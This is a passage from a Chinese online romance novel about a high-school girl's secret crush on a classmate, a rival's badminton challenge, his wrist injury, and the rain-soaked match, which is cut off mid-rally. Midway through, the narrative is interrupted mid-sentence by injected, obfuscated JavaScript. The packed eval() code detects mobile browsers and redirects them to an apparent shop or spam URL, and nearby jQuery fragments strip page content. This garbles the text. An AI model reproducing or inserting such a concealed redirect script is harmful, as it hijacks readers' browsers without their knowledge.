“是又怎么了。”章利承认得爽快,“离开竞赛班的人就永远不要回来。” 温新南烦得要死,“你有病吧?阿屿回不回竞赛班关你什么事?” 陈屿清伸手拦了下又想要往前走的温新南。 章利仰着头说:“上回跟你打羽毛球不是输了么。下周五下午放学,比一场。” “输了我当场向你道歉,永远不会再出现你面前,见到你我绕路走。” “陈屿清,你输了,就永远别回竞赛班。” “敢不敢?” 温新南急死了,破口大骂,“章利,我他妈揍不死你!” “阿南,住手。” 陈屿清回头看了眼温新南,下颌绷着,少年轻睨章利,落拓冷感充斥着他的身影。 “行啊。” 连带着应战都是那样坦然。 在场的人哗然,蒋川川和竞赛班班主任赶来散了人群,将温新南和章利都狠狠骂了一通,陈屿清虽然没出手打架,但也被说了几句。 占朴洛和朱宁茜看完全场,惊呆了,一左一右走在许苏意身旁。 “我去,牛逼,陈屿清好牛,就那样答应了,章利有毛病一样。” 朱宁茜虽然不再喜欢陈屿清,但还是了解这件事,“章利讨厌陈屿清不是一天两天了。之前两个人就有过节,这次两清了呗,自从陈屿清离开竞赛班,他就是第一,肯定害怕陈屿清回竞赛班啊,只要他回去,温新南就会回去,他就又是第三了。” “竞赛班第一,你想想有多少大学争着要。” 占朴洛抱着水杯,“难怪,那陈屿清还转来我们班,这事情从他来我就不明白干嘛转过来。” “不知道。” 许苏意没说话,静静听着,眼睛却看着不远处的陈屿清和温新南,他们步子走得很快,隐约可以听见对话。 “阿屿,你干嘛答应章利,你不知道章利自从上次羽毛球输了他就专门报班学了羽毛球吗?”温新南又急又气,“他就是成心的。” 陈屿清眉梢微微抬起,没回答温新南的话,反问:“他打你没?” “打了啊,他还踹了我一脚,痛死了。”温新南想都没想就点头,指着自己左腿窝,“就这,我怀疑青了,但他也好不到哪里去,我打的他脸,有人一看到他就知道是被揍的。” “傻不傻?” 温新南勾着陈屿清的肩,嬉皮笑脸好似忘了痛,“什么傻不傻,你忘了我们小时候怎么约定的?谁欺负了自个儿的兄弟,就揍回去。他骂你就是欺负你。” “下回他还说我还揍。” 陈屿清低低笑了,“我去买药,下周五从球场打回去。” ... 对话传入许苏意她们的耳朵里,占朴洛感叹:“他们感情是真的好,羡慕死了。” 她用手肘顶了顶许苏意,“苏意,下周五我们来看比赛吧?你觉得谁会赢?” “虽然上回陈屿清赢了,但是温新南不是说章利去专门学了吗?”占朴洛细细思考,“我还挺不想陈屿清输的。毕竟章利那个人有点神经。” 许苏意轻轻“啊”一声。 那可是陈屿清,她当然不希望陈屿清输,但是之前他说过他不会回竞赛班的。 许苏意有点茫然。 朱宁茜摇摇头:“陈屿清是业余打羽毛球的,他只是喜欢打羽毛球,这不是挺多人知道的吗。” 这句话一直到了晚上甚至还萦绕在许苏意脑海里。 到了睡前她还翻来覆去地想那场比赛。 陈屿清会回竞赛班吗。 为什么章利会那么说。 蒋老师让她劝陈屿清回竞赛班,又要怎么开口。 陈屿清听到了那些话又该怎么办。 啊啊啊啊。 许苏意猛地拉开被子,在黑暗中从床上坐起来。 不要想了,既来之则安之,无论如何,她都只是七班的班长,陈屿清的同学,做好答应蒋川川任务的学生。 陈屿清和章利的羽毛球比赛这件事在七班炸开了锅,课后常常有同学在聊天,而他依旧波澜不惊,手里转着笔,指骨懒洋洋地压着课桌,连吱都不吱一声,那副模样快要让人猜死了。 甚至听了章利特意和专业的羽毛球俱乐部加训过后,连课后在羽毛球场都没出现过几次。 周四半期考过后,陈屿清甚至在周五请假了。 蒋川川知道这事儿,特意在班里提过一嘴,回竞赛班这件事并不是由一场所谓的羽毛球比赛就可以决定,而是由校方内部以及综合成绩评定,这场羽毛球比赛代表不了什么。 所以这场比赛,只是不痛不痒的儿戏罢了,但根本压不下班里的风言风语。 周五放学,占朴洛往书包里塞着书,“下周五就要比赛了,陈屿清最近连羽毛球场都不去,好像根本不在意比赛这件事,他是不是真想留在咱班?” 朱宁茜最近熬夜学习,抵抗力下降感冒了,她吸了吸鼻子说:“留在咱班有什么不好的?给我们班拉平均分,养眼。” 占朴洛凑近朱宁茜,仔仔细细地看了她一眼,确定朱宁茜从上回那件事走出来,满心满眼都是学习后,才放心说:“可以,回头比赛的时候我就在那喊”陈屿清必赢,但是必留在重点班。” 朱宁茜:“....” 这话是说说而已,但真幻想了一下,许苏意莫名被逗笑。 其实班里都在猜想陈屿清的想法,但答案五花八门的,不是他私底下偷偷练习羽毛球就是真想留在七班,而答案真正是什么,无从知晓。 周末许苏意做完作业后去了周清雅的工坊,前几年她被评定为市级非遗传承人,带过几个徒弟,教了两年手艺但走的走,弃的弃,留下的也只有一个姐姐。 许苏意在工坊见过几回,安静文雅,开窑的时候她露出的笑熠熠生辉。 今天那个姐姐请假没来,周清雅穿着围裙在分泥,工坊就她一个人。 周清雅开的不是漳窑陶艺店,而是实实在在的工坊,做些青花瓷和米黄釉冰裂纹瓷摆放在厅里更多的是私人定制茶具和神像礼器。 偶尔有几个客人来参观时再普及一些有关知识,感兴趣了也会让客人上手体验,她不喜欢营销自己的工坊,总觉得是王婆卖瓜,自卖自夸,只有客人问起时才会提及几句自己是非遗传承人。 将近十年对漳窑倾尽一切,其中热爱周清雅自己知道。 许苏意戴上围裙,从泥窖里取出高岭土,在揉泥板上揉,摔后开始拉坯。 许苏意脚踩踏板启动转盘,期间周清雅缓缓看了过来,面色温柔,“速度慢一些,不要偏心。手要像我这样的动作。” 她做了个“虎口夹泥”的手势。 这几年许苏意有空就跟着周清雅来工坊实践动手,熟练掌握,她今天做的是茶盏,等拉坯后等晒干的间隙里,许苏意又将泥团捏了个橙形,拇指压着顶部做蒂窝。 周清雅已经快上完釉了,“就知道你爱橙子,这小名没给你白取。这么爱来工坊,这之后给你传承。” 许苏意轻轻笑了,没搭话。 等上釉结束后还需要晒干等待,干透了才能进窑、烧制。 下午四点许桥生打电话让周清雅帮忙送份文件,他落在家里了,那会儿工坊正好来了客人。 这活落在了许苏意身上。 身上沾了些土,许桥生催得紧,只来得及简单擦拭,许苏意匆匆忙忙回家取了文件给他送去。 地址在有些偏远的护理院,许桥生任职生物医药外 企总监,这次来和他们合作引进进口药物。 和保安说明来意后许苏意转了一圈才找到七楼会议室送进去,许桥生拿到的时候说等他一会儿,他马上结束正好开车一起回去。 许苏意点头下楼,给许桥生发消息说自己在后院等他。 护理院后院是个公园,专门给康复病人走动休息的区域,人不多,三三两两的。 四点多的阳光温暖,头顶绿叶交错,缝隙中光线耀眼。 许苏意找了个石凳坐下,戴了耳机听歌。 一首歌的时间还没结束,许苏意的脚边就蹲了只猫,不怕生,脑袋搁在她的鞋面上,有些重量。 许苏意刚开始被吓了一跳,低下头时才发现是一只三花猫。 体形稍微有些胖,耳朵竖着,一双黄色圆眼盯着她,脑袋伸着,浑身一股慵懒劲儿。 许苏意被萌到,指尖触碰耳机,摘下的瞬间,她听到熟悉的声音。 “过来。” 声音在空气中散开,许苏意有些质疑自己是不是听错了,不然怎么会听谁的声音都像他。 却没想到在偏头下意识寻找声源的那瞬间,她看到了陈屿清。 他穿着薄薄的黑色夹克,垂着眼,目光淡淡。 一天不见,他的眉眼有些疲惫,却难掩清俊。 好一会儿,许苏意才带着诧异开口,指了指脚边已经开始打呼噜的三花猫:“你在……叫它?” 总不可能叫她过去吧? 陈屿清眼尾微挑,没立刻回答。 “怎么不给它起个名字?” 陈屿清眉目舒展:“你是说哪个?” “怎么还有……哪个?” 许苏意说这话时都有些怀疑人生,她抿着唇,似乎在确定陈屿清是不是在开玩笑。 她的表情有些呆愣,落在陈屿清的眼里不知怎么的就忽然想起前不久在英教时她被他抓到也是这副表情。 和眼前三花猫一模一样,如今对上了。 陈屿清弯了唇,喉间溢出清朗声线:“它有很多个名字,叫哪个都不理人。” 许苏意“啊”了一声,觉得怪神奇的,怎么还有人给猫起很多个名字,轮着叫,猫能记住就奇了怪了。 三花猫打了个滚,跳上石凳,懒洋洋地朝许苏意走去,最后在她腿上找了个地方趴下,呼噜连天。 许苏意不讨厌猫,反而挺喜欢,没忍住伸手轻轻摸了摸它背上的猫,光滑柔顺,不难看出被养得挺好。 三花猫的呼噜声越来越大,甚至闭着眼睛仰头享受。 陈屿清被这副模样惹得轻笑一声,视线在许苏意身上转了一圈,不知想到什么,“刚从陶艺馆过来?” 许苏意脑袋轰的一声炸开,忽然想起衣摆的泥点,摸猫的动作一顿,点头:“算,也不算。” “什么意思?”陈屿清低低笑了,“难不成刚从泥地里摔了一跤?” 许苏意被他的话惹得瞪大了眼睛。 更像她腿上的三花猫了。 陈屿清唇角弧度更大了,没忍住说:“你还挺可爱。” 可爱? 许苏意懵了一下,耳朵有点烧,不知道怎么回答。 陈屿清似乎也觉得有些突然,他换了话题,“上回那把伞染了香,市面上找不到同款,是你自己做的?” 这话却忽然让许苏意心跳快了一拍,前面的情绪还没下去,这会儿又被推的更高了。 是不好闻么? 她应声很慢,“嗯。” “那把伞是我外婆的。她很喜欢....” 戛然而止的声音,后半句不知道是什么,许苏意说了谢谢。 这话很难不让人联想到什么,许苏意把话题引到最开始见到他时就该问的问题,试探着:“那你,怎么在这儿?” 陈屿清朝着三花猫的方向仰了仰头:“那只猫我外婆养的,她老人家在这儿待得闹腾,非要它陪。” 他没说一下楼就见到了许苏意,安安静静地坐在石凳上,也没说三花猫一见到她就黏她,从前它见人理都不理,小姑娘柔和文静,确实是个讨人喜的女孩。 许苏意听许桥生说过,能来护理院的要么是重度失能,失智,要么是术后康复,卧床带管的老人。 联想到腿上的三花猫有好几个名字,她下意识地想再问问,可又想到这已经是别人的隐私了,又压下了疑惑。 可能是因为在护理院,许苏意潜意识想要说几句话安慰陈屿清,可抬眸即是少年漫不经心的模样,他看起来并不需要这几句无关紧要的安慰话语。 许苏意换了话题,问出了那句藏在心里的话,“那你,周一还去学校吗?” 所以,他请假是为了在这儿陪他外婆吗? 这句话在心里划掉。 似乎是为了怕被看出什么,也不知道这句话有没有越界,许苏意又补了一句:“班里人都在讨论你跟章利的事,说你要不要去学校,他们可以陪你打羽毛球。” “大家都挺怕你输的。” 提到这件事,陈屿清“啧”了一声,狭长的眼半眯一瞬,“大家?包括你么?” 这句话很难不让人联想,许苏意心脏都紧了,大脑瞬间想了很多,最深刻的是那天从办公室里出来看到陈屿清在接水,他在试探吗? 无论如何,许苏意还是说了真话,她的声音放低,听起来特别柔和,眉眼也是,“当然了,我们是同班同学,荣辱与共。” 陈屿清看了眼许苏意背后的阳光,顿了顿,“周一会去学校。” “放心,不会输。” 许苏意松了口气,她信他。 落在陈屿清眼里,他看过来,许苏意听见他清晰而干净的声音,懒洋洋的,像极了此刻的光线:“许苏意,你高兴什么啊。” 三花猫在腿上换了个姿势,原本放在它背上的手落在另一只手腕上,许苏意明显感觉到她的体温上升,心跳跳的不知天地为何物。 许苏意,你到底,有没有被看穿啊。 10.第 10 章 有一瞬间许苏意是恍惚的。 她差点以为自己的暗恋要被发现了。 陈屿清没说话,唇角的弧度依旧在上扬,他插着兜,漫不经心地站在他面前,这种模样更是让许苏意大脑闪过千万种想法。 气氛安静下来几秒。 三花猫懒洋洋地伸了个懒腰,许苏意不知道要怎么回答陈屿清刚刚那个话题,她垂了眼,视线扫过灰色的水泥地面,“它似乎要睡觉了。” 阳光正好,透明耀眼的光线落在三花猫的背上,黄棕的毛被衬得毛茸茸,它打了个哈欠,闭上了眼睛。 陈屿清低头看过来,空气静了一瞬间,“我抱回去。” 三花猫已经睡着了,许苏意要被它的样子融化了,她问陈屿清能不能让她抱着走到对面,得到许可后才小心翼翼地抱着。 陈屿清偏头,小姑娘怀里抱着不吵不闹安安静静的三花猫,因为低头,她的刘海微微往两边分,露出饱满白净的额头,一双杏眼湿漉澄澈,和她的人一样干净。 许苏意弯着眼睛,忽然想起从前周清雅说也想养猫,但因为工作太忙,遂放弃。她从前不明白猫的可爱之处,今天突然就有了实感,有些爱不释手。 她问三花猫都有些什么名字,陈屿清说了好几个,团团,福团,平安,苹果之类的。 许苏意轻声重复着这几个名字,觉得好可爱。 陈屿清和她并肩走着,从石凳的位置走到后院入口,就在对面,也就几步路的距离。 他左右看了眼,陡然伸手拉住许苏意的手腕。 “过来。” 手腕上忽然感受到不属于她的温热体温,许苏意步伐跟着动起来,猝不及防地,她人已经到了他的左侧,陈屿清和她换了位置。 许苏意反应一顿,心乱如麻,手腕仿佛有电流经过,不知不觉,脉搏跳得乱七八糟,不知天地为何物。 回过头,远处驶过一辆电动轮椅,速度很快,轮椅上坐着一位半眯着眼的老人,面色苍白,似乎完全没意识到自己撞了人,轮椅后面跟着个女人,她匆匆追上轮椅,嘴里急切喊着爸。 许苏意说了句谢谢,再抬起头时她看到陈屿清右手手腕红了一块,显然是被刚刚的轮椅推手撞到了。 “陈屿清!”许苏意语气带着焦急,“你的手!” 陈屿清抬眸,听见她急切的声音,微微诧异,喉咙溢出轻轻一声:“嗯?” 许苏意想也没想,脱口而出,“你疼不疼?” “怎么办,红得好厉害。下周你还要打比赛。” 再回过头,那对父女已经不知所踪了。 陈屿清抬起手,冷白腕骨上蔓延出一道红,他的皮肤很白,那道红看起来特别深,还带着紫,他转了转手,挺无所谓的,“没事。” 许苏意看着就不信,怎么可能,刚刚轮椅速度特别快,她睁大了眼睛,后知后觉意识到陈屿清的回答,“什么没事,难道你要带伤参加比赛吗?” 陈屿清没有立刻回答许苏意的话,他看了眼许苏意怀里睡得正香的三花猫,换了话题,“这么大的动静都吵不醒啊。” 他说话时拖着腔调,尾音听起来格外好听。 “它——”,陈屿清眼睛微微抬起,许苏意听见少年调侃的声音,“很喜欢你。” 许苏意头皮发麻,手腕的温度愈发滚烫,挥之不去,大脑的多巴胺直线上升,心跳更快了,连带着眼睛都睁圆,忍不住咽下口水。 许苏意松了口气,脚下步伐跨过一级台阶,侧目看陈屿清。 少年说话走动时,风会带起他的头发,脸部的流畅线条仿若被素描笔勾勒过,精致漂亮。 他身上总带着一股凌厉,是初具成熟却还遗留的少年气,怎么都挥之不去,十足地吸引人。 许苏意忽然想起了他在她心底留下印记的那天,迷迷糊糊的,兴许是上天的安排,她也甘之如饴地接受。 她轻轻地“嗯”了一声。 公园树叶摩挲,发出轻微响动。 许苏意把三花猫交到陈屿清的手里,偷偷地藏下陈屿清刚刚说的那四个字。 很喜欢你。 夜晚八点,许苏意倒在床上,满脑子想的都是陈屿清是不是要带伤打比赛。 她抓着被子在床上滚了几圈,又抚了抚脑袋。 那可是陈屿清,她的暗恋对象,为了她,他的手受伤了。 许苏意整个人要烧起来了,放在床面上的手机屏幕上显示着她和陈屿清的聊天记录。 停留在上回绥乡见面那会儿,好几周以前了。 许苏意想起离开前她和陈屿清说要去找护理院的工作人员处理,被婉拒了。 于是只能提醒陈屿清回去一定要冷敷加涂药,不知道他听了没有,她要不要再发个信息过去。 毕竟是喜欢的人,要是耽误了比赛,那她就是千古罪人了啊啊啊。 在这之前许苏意无比地想要接近陈屿清,她碰过他的手,手腕的温度仿佛还残留着他的余温。 不管怎么样,都是因为她。 许苏意深吸一口气,对着输入法删删减减,最后发送过去。 “你的手,还疼吗?” 发送完,许苏意熄灭屏幕把手机丢在床上,眼眸流转,她盯着天花板,心跳加快。 他没有回复。 周一上午七点二十九分,陈屿清准时踩点到教室。 少年耷拉着眼皮,长腿勾着椅子,往桌上一趴,校服盖在脑袋上,没盖全,半张线条流畅的侧脸露出,冷白腕骨压着桌面露出清晰指节。 七点三十分,英语科代表打开公共校园广播开始早读。 刚过完周末,一大早早读,班里早读声参差不齐,有同学拿着书挡着在偷吃面包。 蒋川川一进门就发现了,粉笔头丢在乔彦林桌上,训斥道:“还读不读早读了?不读就回家吃早餐去!” 班里空气瞬间安静下来,腰背挺直,声音朗朗明亮。 乔彦林把面包塞进抽屉里,指了指依旧趴着睡觉的陈屿清,带着几分不服:“老师,陈屿清也没读早读啊?” 许苏意在拆钢笔,这是演讲比赛获奖,蒋川川奖励她的,听说是从香港买的,陈屿清也有一支,他黑她白。 听到有人念她心里想的名字,微微侧目,看到陈屿清眉目倦意,他露出的是左手,看不见右手手腕。 蒋川川冷笑:“他英语能考满分,你要是能考满分,你在教室里开早餐店我都没意见。” 班里几个人没忍住哄堂大笑。 占朴洛凑近许苏意,贴着她偷笑:“诶,年级第一就是不一样啊,有理由怀疑,陈屿清是来这儿放松来了。” 许苏意微微笑了。 早读连着英语课上两节,第二节下课是大课间,温新南拉着陈屿清去打羽毛球,嘴里念叨着势必要赢。 这场比赛虽说是章利发起的,但经过这些天的讨论,班里男生一致认为这是竞赛班和重点班的一场对决。 于是乔彦林带着好几个男生一起去了。 占朴洛挺想去看的,但一想到羽毛球场人肯定很多,还不如多写点题目,于是放弃。 大课间许苏意要去检查卫生,自从朱宁茜退出纪检部后,她的检查区域减少一半,其中正好有羽毛球场。 许苏意拿着检查单子走向羽毛球场。 羽毛球场附近站了几个同学,说话声此起彼伏,绿色的硅PU地面上掉落好几个羽毛球。 几个男生挥着拍子,羽毛球拍和球的碰撞发出清晰悦耳的声响,空气中的羽毛球划出漂亮的抛物线。 只一眼,许苏意确定陈屿清不在。 那条消息后来陈屿清回复了,说了两个字。 没事。 许苏意不信他说得没事,毕竟她都看见了他的手。 她垂眸,检查过场地后在单子上记录分数。 不知道为什么陈屿清不在羽毛球场。 今天团委老师通知了她要请假早退,纪检部成员检查完卫生直接把单子直接交给她算分数就行。 纪检部在修远楼前面,要走三楼,许苏意踩上台阶,动作间马尾轻轻晃动,她的身影格外轻盈。 交完单子,许苏意从楼上下来,低头的瞬间,她心跳一沉。 不远处的香樟树下,陈屿清穿着黑白色校服,校服领口敞开,他单手插着兜,不知道温新南和他说了什么,他淡淡扯了个轻笑。 他富有冷感的下颌线被从树叶缝隙间穿过的碎光映下,流畅清晰。 温新南勾着他的肩,慢悠悠地说:“她作为竞赛班班长,大老远从那栋楼跑过来劝你回去,这心,明显得很。阿屿,你要不就回竞赛班去,甩那个章利一脸。” 陈屿清漫不经心地,耷拉着眼皮:“然后呢?” 然后?温新南起了劲儿:“然后气死他,连班长都惦记着你,说真的她刚刚说的话没错,这场比赛无论输赢都决定不了竞赛班什么,但气势上可以压章利一头。阿屿,章利是认真的。” 陈屿清“嗯”了声,“知道了。” 温新南拍了拍陈屿清的肩膀:“我去给你买水,一会儿来打羽毛球,我陪你打。” 香樟树下只站着陈屿清一个人,他的身影清瘦颀长。 抬起眼看过来的一瞬,目光正中许苏意。 许苏意连视线都来不及转移,被抓了个正着。 她都听见了,不是故意的。 陈屿清带伤上场似乎成了既定的结局,温新南看起来并不知道这件事。 而那个竞赛班班长,是陈屿清原来的班长吗?许苏意稍微思考了一下,才依稀有点印象,她记得开学那天看到了那个女生,穿了白裙子,皮肤很白很漂亮。 陈屿清在学校的名气很高,大家都知道这场比赛,许苏意路过羽毛球场都能听到有人在讨论这件事。 他们对陈屿清的评价是人正性子好,希望他回竞赛班,毕竟一开始就是竞赛班的,但不乏有支持章利的。 也都好奇为什么陈屿清会离开竞赛班啊,五花八门的答案,最后都演变成了是金子在哪里都会发光。 其实,陈屿清这个人,本身就会发光,无需在哪里。 许苏意脚步缓慢走过去,停下:“他们不知道你手腕受伤了吗?” 离陈屿清有些近了,许苏意闻到他身上很淡的气息,像是雨后清新的植物茎皮,独有的清香混着青橘。 “应该知道吗?” 许苏意睁大了眼睛:“那你这样,之后怎么办?” 她又说了和那天在护理院时一样的话。 陈屿清低头看着许苏意,说实话她长得很漂亮。 印象中许苏意是个特别认真、负责的女孩,无论是对老师下发的任务,还是对待班里的同学,她一直是温柔,耐心的态度。 偶尔陈屿清在座位上抬起眼时能够看到窗边许苏意低头认真写题时的侧脸。 她做的任何一件事都是专心致志,付出十足的认真与坚持。 对于他右手手腕这件事,陈屿清自己倒是觉得挺无所谓的,毕竟是他自愿拉了把许苏意的手,又没让她负责。 但对于许苏意来说,似乎给她带来了很大的愁恼。 她焦急,担心,发了消息问候,体贴到有些出乎意料。 许苏意听到陈屿清很轻的一声笑,低低的,她没有分出情绪。 “比赛不会输。” 许苏意想都没想直接开口,语速有些快:“不是比赛的问题,和比赛没关系。” 陈屿清抬头看了眼香樟树,就听到许苏意有些强硬地强调,“是你的手。” 这种语气他上次听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554494|203591||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 已经是很久以前了,好像是小时候?有点不记得了。 许苏意胸口扑通扑通地跳,想要掩盖所有的心思,拙劣的演技在这一刻差点翻车,带着怎么都说不清的怪异。 “我的手?”陈屿清却逗着许苏意玩,再次想起她的那条消息,仿佛听不懂她的话,“这件事只有你和我知道。” “所以麻烦。”他顿了顿,弯下腰,直视许苏意的眼睛,嗓音坦荡自然,“亲爱的许苏意同学,可以替我保密吗?” “嗯?” 风拂过许苏意的脸颊,微凉的气息带着发梢,少女的心砰砰砰,她焦灼的心在此刻被无数的悸动打破,混杂其中,分不清到底。 亲爱的,许苏意同学。 明明是很普通的一句话,但是就是这样的语气,这样吸引人的一句话,许苏意几乎要被打败了。 陈屿清,怎么这样呀。 . 周一到周五,班里蠢蠢欲动的心思越来越明显,陈屿清依旧会去羽毛球场。 蒋川川不反对羽毛球比赛,但提前强调过好几次这场比赛结果无论是什么都代表不了校方的意见,只能当作同学之间的切磋。 见班里同学无人在意,她制止不了,只能再三叮嘱运动时要小心,甚至自费买了跌打损伤的药品放在教室后面,方便受伤了不用绕圈去医务室。 这几天下课许苏意看到好几次章利装备齐全地往羽毛球场上跑,有时候他注意到了她还会瞪过来好几眼。 占朴洛看见了也会瞪回去:“章利是不是有病?瞪你干什么?” 朱宁茜也觉得莫名其妙,讽刺过去:“可能眼睛长歪了吧。” 许苏意说了上回演讲比赛的事。 占朴洛“我靠”一声,“他这人见不得比他优秀的人吧?” 朱宁茜脸色冷下来:“他这人就这样,苏意你好好学习,回头高考成绩比他好,他估计会在被子里哭三天三夜。” 占朴洛笑出声,捂着嘴指着天空说:“且看今日就知道章利会不会哭。” “但是看起来会下雨,我们放学还能看得见比赛吗?” 天气雾蒙蒙的,阴云密布,海城天气预报不准,早上手机里还显示今天是个大晴天,这会儿连太阳都看不见了。 回了班级,教室里好几个人也在讨论天气。 朱宁茜坐在位置上托腮看天空:“不知道,虽然我不喜欢陈屿清了,但还挺希望他赢的,有面儿。” 许苏意其实挺羡慕朱宁茜的,大大方方地表达自己的情感,说喜欢就是喜欢,不喜欢了也没关系,不用考虑太多,直来直往的。 袒露的情感,明亮又动人。 许苏意挺希望下雨的,这样比赛就会推迟,陈屿清也不用带伤上场了。 这几天她有意无意地观察过陈屿清的手腕,可十一月的天气,大家都穿着长袖校服外套,羽毛球场上他也戴着护腕,压根儿看不见。 乔彦林转过头在问陈屿清:“外面下雨了,你和章利的比赛是不是要推迟啊?” 班里安静一秒,看向窗外。 许苏意也跟着看过去,果不其然,下起了雨。 半分钟的时间,暴雨如注,风裹挟着雨落进来,打湿了三分之一的卷子。 占朴洛赶紧起身关上窗户:“妈呀,这么大的雨。” 大家又去看陈屿清。 许苏意也回过头,陈屿清靠在椅背上,坐姿懒散,修长指节转着一支黑色的笔,他在做题,懒懒散散的仿佛比赛的人不是他一样。 他歪了歪头,唇角挂着笑:“不知道啊。” 温新南撑着脑袋,“推不推迟都改变不了我们赢的事实好吧?” 这会儿还是下课时间,还剩下最后一节课就放学,后排男生又开始喧闹起来。 话题无非就是那些,许苏意有心听了一下。 都认为比赛要推迟了,开始聊起了游戏,是上次陈屿清给许苏意玩的那款,他们在问要怎么通关。 占朴洛刚刚看到温新南的坐姿,八卦也不八卦了,翻了个白眼,无聊地问:“这次比赛真的注定要推迟了啊?会推迟到什么时候?” 许苏意弯了唇,摇头说不知道。 有几个男生还觉得遗憾,他们买了水,还有毛巾,无条件支持陈屿清。 男生搬水到教室时,朱宁茜当时还‘啧’了声,说陈屿清人缘真好。 也是在这时,教室后门被用力地推开,门撞到墙,发出“砰”的一声,厚重且沉闷。 所有人都看了过去。 许苏意被吓了一跳,回过头。 不知道章利什么时候从竞赛班那栋楼冲了过来,浑身湿漉漉的,他直视陈屿清,傲气十足:“陈屿清,今天的比赛,你不会忘记吧?” 温新南骂了声‘有病’,指着窗外放声喊:“章利你他妈是个疯子吧?你要不要看看外面雨多大?要淋雨你别拖着阿屿!” 窗外雨水打在玻璃上,透明雨珠汇成一片缓缓往下流淌,模糊的看不清外面。 章利根本不管温新南,还在问陈屿清:“陈屿清,你打不打?” “还是说,你要当个逃兵?” 许苏意心脏一紧,看向陈屿清。 这次,她终于看到了陈屿清的右手手腕,护腕边上露出的一抹红,依旧很深。 许苏意再把视线往上移,她看到陈屿清偏头看向章利,他轻笑一声,漆黑的眼眸意气风发,炙热又坚定。 “行啊,但是。”他手里的笔依旧在指腹上转动,说话时的模样张扬轻狂,“我敢赢,你真的敢输吗?” 章利气得咬牙切齿,暴跳如雷,他在骂陈屿清,他恨透了陈屿清这副轻看他的样子。 许苏意抿唇垂眸。 她以为下雨会改变一切,却没想到少年风华正茂,不惧岁月不惧风。 11.第 11 章 雨声哗哗,雷声轰鸣,闪电如红蛇撕裂天空。 这样大的雨,别说打羽毛球了,回家都怕湿了鞋。 占朴洛真觉得章利有病,最后一节课一直在骂他,许苏意时不时地看向窗外,雨势丝毫没有减弱。 上课期间许苏意借着走到后排的科任老师偷偷用余光看过陈屿清。 他依旧漫不经心,风灌进教室里,带起少年头顶发梢。 陈屿清身上总有一股不同于其他少年的锋利,无畏岁月,踏尽平川的志气,那是青春最好的模样。 外面有没有下雨,章利有没有挑衅,丝毫没有影响到他。 铃响的那一刻,章利在修远楼楼下和陈屿清说学校室内羽毛球场被几个老师提前申请了,他刚刚订了羽毛球俱乐部。 陈屿清站在那儿,手插兜,单肩背着黑色书包,他微低着头,校服衣摆随着风雨飘起微鼓,勾勒得他更加落拓不羁。 温新南觉得这把比赛必赢,一直没用正眼看章利,在往书包里塞水和干毛巾。 因为下雨所以学校里大部分同学都以为放学没有比赛趁着雨小了一些连忙回去了,于是只有一些竞赛班同学和重点班同学去看比赛。 刚到俱乐部,章利就立马去了卫生间换了衣服,随即和陈屿清定站位。 羽毛球单打比赛以21分定胜负,三局两胜赛制,领先两分就胜利。 章利这阵子临阵磨枪不快也光,疯狂和专业的教练学习,什么都要求专业规则的来。 裁判是俱乐部找的,他拿着计分表坐在高凳上。 比赛即将开始,乔彦林激动得不行,眼睛直勾勾地盯着赛场,和几个人站在球场边上,温新南站在他旁边,准备毛巾和水。 好几个同学都在聊天,热情十足,占朴洛拉着许苏意和朱宁茜站在温新南边上,可以将陈屿清这边的状况看得清清楚楚。 第一轮发球的人是章利,他脸色发冷,嘴角挂着讥讽:“陈屿清,输了别哭。” 许苏意站在边上,视线落在不远处的陈屿清身上,他拿着长柄方头拍,面色淡淡,丝毫没有被章利影响到,“十分钟,这局结束。” 章利沉默下来,阴沉看陈屿清,他双脚前后站,反手握拍,发了个反手小球。 反手小球动作小,出球快,对手难预判球落点,是单打中限制对手进攻的优先手段。 看来,章利是真的用心学了。 这是许苏意第一次认认真真地看陈屿清打羽毛球,也是第一次这样光明正大,她心都紧了起来,双手抓着书包带子,用力蜷缩指尖。 所有人的目光都盯着空中那小小的羽毛球。 陈屿清迅速将球拍放到身前,双脚与肩同宽,左手抬起,重心随球拍上前。 球拍与球发出清脆的一声“砰”,球被稳稳地打了回去,推压章利。 球落地。 章利没接到。 全场瞬间安静两秒,随即又发出爆烈欢呼声。 谁也没想到,开局第一场第一个球,就被陈屿清打了回去。 乔彦林惊呆了,直接用手圈着嘴,大喊:“卧槽!!!!!陈屿清你好帅!!” 温新南嘴都要笑裂开了,却还是拍着乔彦林的肩膀,一副老父亲的表情:“淡定淡定,那可是我哥们,他不帅谁帅?” 许苏意心跳很快,她感觉自己像是空中那颗羽毛球,落地了才安稳下来。 占朴洛和朱宁茜也在笑,周边都是欢呼声,男生们面面相觑,沸腾着发出声音。 章利脸色冰得像雪山,他‘呵’一声,没说话。 支持他那边的竞赛班同学脸色也很难看,安静如鸡,看都不看乔彦林他们。 两边割裂得厉害。 许苏意看到温新南给了陈屿清很多眼神,少年唇边弧度扩大,眼眸炽热,张扬肆意。 心跳依旧跳得厉害,许苏意缓慢捂着胸口,轻轻露出笑容。 攻守转换,章利最近不是白练的,开局的反手小球虽然没有成功突破,可接下来的球他盯得厉害,打得十分谨慎。 他丈量着场地,陈屿清打回来一个他接回一个,有来有回。 在场观众目光紧盯空中的羽毛球。 陈屿清侧身轻跑,高抬左手,右手抬肘,轻握球拍,球网与球发出声响,打出又高又远的高远球。 章利和陈屿清交过手,对方打出高远球,占据主动权。 于是,他迅速判断球落点,起跳迅速接球,把球打向对角。 此刻场上气氛紧张。 朱宁茜之前为了探寻陈屿清的喜好,研究过羽毛球,知道此刻不好突破,她语气有些焦灼:“这不好打,看出来了章利进步很多,陈屿清打的高远球,他直接回斜线。” 温新南眉头皱起:“高远球是阿屿为了把球打到后场,给自己充足的准备时间调整节奏,现在居然被破了。” 大家的神色又紧绷着,回到了还没开始比赛时的心情。 18:16 陈屿清的比分离21越来越近,只差最后一个球,章利开始放出大招。 他起跳抬手,抬肘,用力打出一个高远球,为接下来的假动作做好铺垫,准备完美突袭。 然而也是在这瞬间,陈屿清迅速起跳,双脚离地,抬高左手,挥拍。 